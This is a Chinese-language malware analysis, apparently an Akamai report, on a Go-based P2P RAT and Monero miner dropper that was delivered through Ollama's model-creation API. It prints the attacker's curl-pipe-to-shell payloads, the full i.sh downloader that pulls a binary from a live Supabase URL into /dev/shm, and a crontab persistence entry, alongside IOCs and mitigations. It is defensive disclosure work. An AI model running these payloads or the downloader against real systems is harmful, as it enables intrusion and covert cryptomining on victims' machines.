執行摘要
近期針對 Akamai安全情報回應團隊自建的大型語言模型(LLM)誘捕系統所進行的攻擊鑑識分析,發現一個複雜且自行開發的威脅,該威脅偽裝成良性的系統活動,並利用去中心化網路來躲避偵測。
這個名為 vc 的 Go 語言二進位檔案,是一個高威脅性的點對點(P2P)遠端存取木馬(RAT),同時具備後門與挖礦程式投放器的功能。它能以 Ollama 程序擁有者的權限在作業系統上執行命令。
該二進位檔案使用 UPX 壓縮;防禦人員可使用標準的 UPX 工具進行解壓縮。
我們在本文中提供了立即緩解措施,並包含入侵指標(IOC)列表,以協助防禦此威脅。
攻擊始於針對連接埠 11434 上 /api/create 端點的 API 請求。AI被要求下載並執行一個名為 i.sh 的安裝程式腳本(圖 1)。
| { "name": "sys_check", "modelfile": "FROM scratch\nRUN curl -sL https://auzhpjmyaqayopaqidmc.supabase.co/storage/v1/object/public/p/i.sh | sh", "stream": false } |
|---|
圖 1:第一個嘗試下載腳本並使用 RUN 將其透過管道傳遞給 Shell 的惡意載荷
第二個攻擊載荷則使用 TEMPLATE 建立一個自定義模型,以執行 exec() 中的內容(圖2)。
| { "name": "sys_update", "modelfile": "FROM scratch\nTEMPLATE \"{{ .Prompt }} {{ exec \\\"curl -sL https://auzhpjmyaqayopaqidmc.supabase.co/storage/v1/object/public/p/i.sh | sh\\\" }}\"", "stream": false } |
|---|
圖 2:第二個嘗試下載腳本並使用 TEMPLATE 將其透過管道傳遞給 Shell 的惡意載荷
圖 3 中的 i.sh 腳本包含容錯下載邏輯,它會先嘗試使用 curl,然後是 wget,最後使用Python 腳本將名為 vc 的惡意載荷二進位檔案下載到 RAM磁碟位置(/dev/shm/.sys-update)。該腳本執行二進位檔案後會將其刪除,從未將檔案儲存於磁碟上。
#!/bin/sh
# 0 Trace RAM Execution
f="/dev/shm/.sys-update"
U="https://auzhpjmyaqayopaqidmc.supabase.co/storage/v1/object/public/p/vc"
# Failover Downloader logic \
if command -v curl >/dev/null 2>&1; then
curl -sL "$U" -o "$f"
elif command -v wget >/dev/null 2>&1; then
wget -q "$U" -O "$f"
else
python3 -c "import urllib.request;
open('$f','wb').write(urllib.request.urlopen('$U').read())" >/dev/null
2>&1
fi
# Execute and Wipe
chmod +x "$f"
"$f" >/dev/null 2>&1 &
圖 3:安裝程式腳本將下載內容儲存在共享記憶體空間中
vc 二進位檔案並非現成工具;它是一個用 Go(Go 1.25.7)編寫的自訂 x86二進位檔案。其先進的隱匿性與韌性設計主要體現在以下關鍵特性:
去中心化網路(P2P):該威脅使用基於 libp2p 的全自訂 P2P堆疊。這個框架通常用於 IPFS 等去中心化技術,使惡意軟體能利用WebRTC、QUIC、DTLS 和 UPnP 來繞過防火牆和NAT。這種去中心化的特性意味著沒有單一的命令與控制(C2)IP 或網域可以封鎖。
隱匿與偽裝:該程序被設計成模仿合法的核心執行緒,偽裝成 kworker。其內部的 Node ID 字串 core-node-01 暗示它是一個更大、有組織的基礎架構的一部分。
持久化機制:該二進位檔案包含一個 hydraPersistence 函數,表明其意圖在系統上保持活躍。此函數會在
crontab 中新增一個條目以確保持續執行。
規避戰術:該二進位檔案嵌入了一個假的 UPX 標頭,以混淆二進位分析工具。
惡意載荷:一個 P2P 挖礦程式投放器/RAT
詳細的執行分析證實,vc 主要是一個 P2P
代理挖礦程式投放器。觀察到的七步執行鏈如下:
自我複製:惡意軟體將自己複製到 /dev/shm/.udev-mesh-node,利用 RAM 磁碟來規避傳統的檔案系統掃描。
投放二進位檔案:它會將兩個二進位檔案投放至 RAM 磁碟中:
/dev/shm/kworker-main(P2P 網路代理程式;21 MB)
/dev/shm/kworker-run(XMRig Monero 挖礦程式;2.6 MB)
重新命名程序:主程序將自己重新命名為 kworker-main,使其在 ps 指令的輸出中看起來像核心工作者。
挖礦流量代理:它在 127.0.0.1:41947 啟動一個本地挖礦代理程式。然後使用libp2p 堆疊,透過去中心化的 P2P 礦池路由挖礦流量,使得傳統的 Stratum 連線封鎖方法失效。
挖採 Monero:XMRig挖礦程式被啟動,並指定了一個錢包地址(42qxWtESb9t1jvteBGCJybRiHB2x6fiMmhmosjUxfDsFUMLtJgYheVUaac2dvHrDfwcogpQFbTz4h2GXkB1rxonqUJQnUyz)以及 50% 的 CPU 使用上限,以降低資源消耗,維持隱蔽。
執行 RAT 功能:該二進位檔案能以 Ollama程序擁有者的權限,在作業系統上執行命令。
確保 crontab 持久化:它會在 root 的 crontab 中植入一個條目,每 15分鐘檢查一次,如果惡意軟體停止執行就重新啟動:*/15 * * * * pgrep -xkworker-run || /dev/shm/.udev-mesh-node
立即緩解措施
如果在任何機器上執行了此二進位檔案,需要立即採取行動。
隔離機器:立即將任何受感染的機器從網路上斷開。
檢查持久化機制:檢查系統中是否存在持久化機制,特別是搜尋 systemctl 單元中的 kworker 程序,並檢查 crontab 和 .bashrc 檔案。
封鎖對外流量:實施對外 QUIC(UDP 443)和非預期 WebSocket 流量的封鎖,以中斷 P2P 網路通訊。
進行記憶體傾印:如果程序曾執行,請進行記憶體傾印。加密金鑰和 P2P網路的對等節點列表可能可以從 RAM 中復原。
結論
對 vc 二進位檔案的鑑識分析揭示了常見惡意軟體的關鍵演變,標誌著從傳統 C2 基礎架構轉向具有韌性的去中心化網路。針對 Ollama 端點的部署突顯了 AI 環境中供應鏈和 API 漏洞利用所帶來的日益增長的風險。
該惡意軟體的核心創新在於其自訂的 Go 語言建置以及整合的 libp2p P2P堆疊,使其能夠將 Monero挖礦流量隱藏於去中心化的網狀網路中。這種架構有效地消除了網路防禦人員封鎖單一 IP位址或網域的依賴性,要求轉而關注協定異常,例如對外的 QUIC 流量和非預期的WebSocket 流量。
此外,該威脅採用了高超的隱匿戰術,包括偽裝成合法的 kworker 執行緒,以及利用 RAM 磁碟位置確保持久化並規避鑑識檔案系統掃描。
這種複雜程度—從透過 API 互動實現初始入侵,到透過一個具備 hydraPersistence 功能的P2P代理挖礦程式投放器來維持韌性—凸顯了立即採取行動和進行強健行為分析的必要性,以有效防禦這些下一代的多頭威脅。
IOCs
18a60f4122d10fc342977345cc1d494784ca55285eea37dddf90c6b9829b6d4b i.sh
cloud-metrics.io
4159fb1305a6c45f901aa0c5b8edf7192ca9f608acce445b0dc304edc040862c vc upx unpacked
424a5d4dca5fb9506e7a15abc95d9e8b2a8c91fcf340394db86e38342afe7ab9 vc upx packed
12D3KooWGfRjvTvgfV4eXnFWLV26GG7TciWX7ycBiGPnA7ubVmbG C2 P2P key